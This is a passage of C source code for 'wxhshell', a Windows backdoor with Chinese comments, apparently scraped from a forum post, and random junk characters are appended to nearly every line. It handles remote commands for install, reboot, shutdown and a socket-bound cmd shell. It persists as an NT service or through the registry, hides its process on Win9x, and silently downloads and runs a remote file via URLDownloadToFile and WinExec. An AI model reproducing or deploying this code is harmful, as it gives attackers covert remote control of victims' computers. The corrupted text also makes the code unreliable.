    switch(cmd[0]) { j5gL 67B  
  j0b>n#e7  
  // 帮助 kt# t-N;}x  
  case '?': { 8U%y[2sT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S"cim\9xP  
    break; zcy`8&{A<?  
  } y]okOEV0  
  // 安装 !DM GAt\  
  case 'i': { fB)S:f|  
    if(Install()) 7Y%Si5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0{ ,*>C  
    else to{7B7t>q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >g;995tG  
    break; +MtxS l  
    } nK)hv95i_  
  // 卸载 35H.ZXQp-  
  case 'r': { aH&Efz^  
    if(Uninstall()) 6zp]SPY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gF2,Jm@"6  
    else zEKVyZd*{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uC! dy  
    break; `J$7X  
    } M1q_gHA  
  // 显示 wxhshell 所在路径 #Y0ru9  
  case 'p': { `)tIXMn  
    char svExeFile[MAX_PATH];  \62!{  
    strcpy(svExeFile,"\n\r"); d3]<'B:nb  
      strcat(svExeFile,ExeFile); uqM=/T^A  
        send(wsh,svExeFile,strlen(svExeFile),0); {pXqw'"1.  
    break; P#|}]oG%  
    } YmwXA e:  
  // 重启 :CsrcT=  
  case 'b': { 6IJH%qUx'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]P96-x  
    if(Boot(REBOOT)) pE {yVs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k#n%at.g  
    else { p Le[<N  
    closesocket(wsh); I_Omv{&u  
    ExitThread(0); n#5S-z1KNw  
    } F@b=S0}K  
    break; 1'%n?\OK66  
    } $T6+6<  
  // 关机 I uC7Hx`z  
  case 'd': { cR=o!2O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tZY6{,K%4  
    if(Boot(SHUTDOWN)) B"rO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C^fn[plL  
    else { d[YG&.}+8j  
    closesocket(wsh); RB9ZaL\  
    ExitThread(0); $>zqCi2tB<  
    } AqT}^fS  
    break; t pa<)\7KJ  
    } X G E.*aI  
  // 获取shell :W9a t  
  case 's': { Ri>ZupQ6  
    CmdShell(wsh); Dqc2;>  
    closesocket(wsh); XM)  
    ExitThread(0); 5 FE&  
    break; f#\Nz>tOhE  
  } 0$_WIk  
  // 退出 h!7Lvh`o  
  case 'x': { hGcu(kAC,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s &f\gp1  
    CloseIt(wsh); w8bvqTQ  
    break; ')TS'p,n  
    } (K('@W%\?  
  // 离开 /z )Nz2W  
  case 'q': { {(l,Uhxl""  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GHO6$iM)[  
    closesocket(wsh); <cFj-Ys(T  
    WSACleanup(); M6j~`KSE  
    exit(1); !xU[BCbfYV  
    break; lV9   
        } Svdmg D!  
  } >=86*U~  
  } _K B%g_{  
;?v&=Z't.  
  // 提示信息 %Iiu#- 'B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uQ%3?bx)T  
} X6j:TF  
  } J(SGaHm@  
^mouWw)a_  
  return; TPYh<p#  
} ?KWo1  
_Nh`-R%B)  
// shell模块句柄 iqFC~].)  
int CmdShell(SOCKET sock) KV! (   
{ X%T%N;P  
STARTUPINFO si; W^pf 1I8[  
ZeroMemory(&si,sizeof(si)); n7|,b- <  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VI-6t"l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F_0@S h"  
PROCESS_INFORMATION ProcessInfo; fRHzY?n9;  
char cmdline[]="cmd"; QQt4pDir>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7~SnY\B|  
  return 0; o+Mc%O Z  
} 03.\!rZZ  
\}!/z]u  
// 自身启动模式 aMGyV"6(-6  
int StartFromService(void) F\jawoO9  
{ viJP6fh  
typedef struct i.^:xZ  
{ S%e)br}  
  DWORD ExitStatus; 1B@7#ozWA?  
  DWORD PebBaseAddress; ?Iu=os>*  
  DWORD AffinityMask; ff]fN:}V  
  DWORD BasePriority; r[wjE`Z/T  
  ULONG UniqueProcessId; 4(,M&NC  
  ULONG InheritedFromUniqueProcessId; xW7[VTXc^  
}   PROCESS_BASIC_INFORMATION; [c XSk  
F:~@e(  
PROCNTQSIP NtQueryInformationProcess; ay#f\P!1  
=2YXh,i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :? s{@7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c& K`t  
/&9R*xNST#  
  HANDLE             hProcess; JIsi  
  PROCESS_BASIC_INFORMATION pbi; yq1 G6hw  
X]o"vx%C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '2UQN7@d  
  if(NULL == hInst ) return 0; 06?d#{?M1o  
bz1AmNZG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y[W:Zhl;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 50`|#zF^#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RRQIlI<  
nTD4^'  
  if (!NtQueryInformationProcess) return 0; W0}FOfL9  
Rd<K.7&A}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >s )L(DHa"  
  if(!hProcess) return 0; 5hh6;)  
yF1p^>*ak&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lBa` nG  
xZY7X&C4  
  CloseHandle(hProcess); !,C8  
xdVsbW)L2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4$81ilBcL  
if(hProcess==NULL) return 0; :98:U~ d1  
6Kw?  
HMODULE hMod; xSDTO$U8%  
char procName[255]; Xtloyph  
unsigned long cbNeeded; d\zUtcJwC  
`xZ,*G7(*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |9p0"#4u  
C Sz+cS  
  CloseHandle(hProcess); :F9Oj1lM%  
bkz/V/Y  
if(strstr(procName,"services")) return 1; // 以服务启动 bcT'!:  
X<5&R{oZ  
  return 0; // 注册表启动 jeB"j  
} qJ .XI   
oS}fr?  
// 主模块 5" (FilM  
int StartWxhshell(LPSTR lpCmdLine) abCxB^5VL  
{ >UV}^OO  
  SOCKET wsl; RS#C4NG  
BOOL val=TRUE; 3sW!ya-VZ  
  int port=0; IkG;j+=  
  struct sockaddr_in door; Vol}wc  
!}5rd\  
  if(wscfg.ws_autoins) Install(); yb)qg]2  
IM,4Si2  
port=atoi(lpCmdLine); P s<k2  
5X9Lh_p  
if(port<=0) port=wscfg.ws_port; 4eF{Y^   
+zXcTT[V  
  WSADATA data; IVa6?f6H_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t<j_` %`8  
'&2-{Y [!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P]OUzI,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LFr$h`_D5  
  door.sin_family = AF_INET; &|#,Bsk"@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TKiYEh  
  door.sin_port = htons(port); 0F.S[!I  
<@l j\,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6L)7Q0Z  
closesocket(wsl); H/.UDz  
return 1; N 1.fV-  
} >;R7r|^k  
F/[m.!Eo  
  if(listen(wsl,2) == INVALID_SOCKET) { AX Q.E$1g  
closesocket(wsl); I*$-[3/  
return 1; d+6q% U  
} PHUeN]s#  
  Wxhshell(wsl);  A; *<  
  WSACleanup(); F,Ve,7kh  
TA qX f_  
return 0; TtH!5{$s  
#sk~L21A  
} l;&kX6 w  
=''b`T$  
// 以NT服务方式启动 {oR@'^N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `M(st%@n  
{ !w@i,zqu  
DWORD   status = 0; wAJ= rRI  
  DWORD   specificError = 0xfffffff; )]4=anJu@|  
u^#e7u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mlUj%:Gm#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G \Nnw==v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d @ l  
  serviceStatus.dwWin32ExitCode     = 0; p L^3*B.Nr  
  serviceStatus.dwServiceSpecificExitCode = 0; 4%|r$E/TQ  
  serviceStatus.dwCheckPoint       = 0; n)z:C{  
  serviceStatus.dwWaitHint       = 0; 2?v }w<Ydl  
FjLMN{eH/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xr'b{&  
  if (hServiceStatusHandle==0) return; jSRi  
A)Rh Bi  
status = GetLastError(); HgBu:x?&  
  if (status!=NO_ERROR) SqdI($F\:  
{ Q1x15pVku/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D;jbZ9  
    serviceStatus.dwCheckPoint       = 0; s:(z;cj/  
    serviceStatus.dwWaitHint       = 0; 'KT(;Vof  
    serviceStatus.dwWin32ExitCode     = status; 2;J\Z=7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6V}xgfB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EJQT\c  
    return; SJlE!MK  
  } +_u~Np  
[hk/Rp7{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %Pj}  
  serviceStatus.dwCheckPoint       = 0; ~*UY[!+4^=  
  serviceStatus.dwWaitHint       = 0; 7,8TMd1`M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g}uSIv^  
} >"|t*k S  
tmM; Z(9t  
// 处理NT服务事件,比如:启动、停止 -YmIRocx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2JcP4!RD  
{ 3 `mtc@*  
switch(fdwControl) >,I'S2_Zl  
{ &\Lu}t7Ru  
case SERVICE_CONTROL_STOP: ZLPj1L  
  serviceStatus.dwWin32ExitCode = 0; c@)?V>oe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &%8IBT  
  serviceStatus.dwCheckPoint   = 0; }$r]\v  
  serviceStatus.dwWaitHint     = 0; };EB  
  { jW-;Y/S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 412E7   
  } hE$3l+  
  return; ]mUt[Yy:z  
case SERVICE_CONTROL_PAUSE: fny6`_O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M)AvcZNs  
  break; h@\HPYi#.  
case SERVICE_CONTROL_CONTINUE: ?r5a*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r .6?|  
  break; ,?Zy4-  
case SERVICE_CONTROL_INTERROGATE: 53pT{2]zAi  
  break; s.n:;8RibP  
}; 79-5 0}A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x; -D}#  
} }UQ,B  
@LDs$"f9=  
// 标准应用程序主函数 j]]5&u/l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qDhZC*"9#D  
{ X8?@Y@  
IiE^HgM  
// 获取操作系统版本 @$ lX%p>  
OsIsNt=GetOsVer(); g jzWW0C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :XPat9 3w  
\pTv;(  
  // 从命令行安装 {XUSw8W'  
  if(strpbrk(lpCmdLine,"iI")) Install(); rmtCCPF?0  
[?;L  
  // 下载执行文件 YnW9uy5  
if(wscfg.ws_downexe) { R rYNtc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <F"G~.^ *s  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?4Fev_5m  
} 5p5"3m;M7  
e"XolM0IM  
if(!OsIsNt) { Wm5[+z|2?9  
// 如果时win9x,隐藏进程并且设置为注册表启动 QnS#"hc\a  
HideProc(); *M0O&"~j  
StartWxhshell(lpCmdLine); `P-d. M6Oa  
} q;IuV&B  
else ]` A*7  
  if(StartFromService()) sG[qlzR=8  
  // 以服务方式启动 rOO10g  
  StartServiceCtrlDispatcher(DispatchTable); a|#pl!  
else 1 XJZuv,T:  
  // 普通方式启动 M"u=)CT  
  StartWxhshell(lpCmdLine); [KbLEMrPba  
NWQ7%~#k*  
return 0; 8*&73cp  
}
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只看该作者 1 发表于: 2006-10-10
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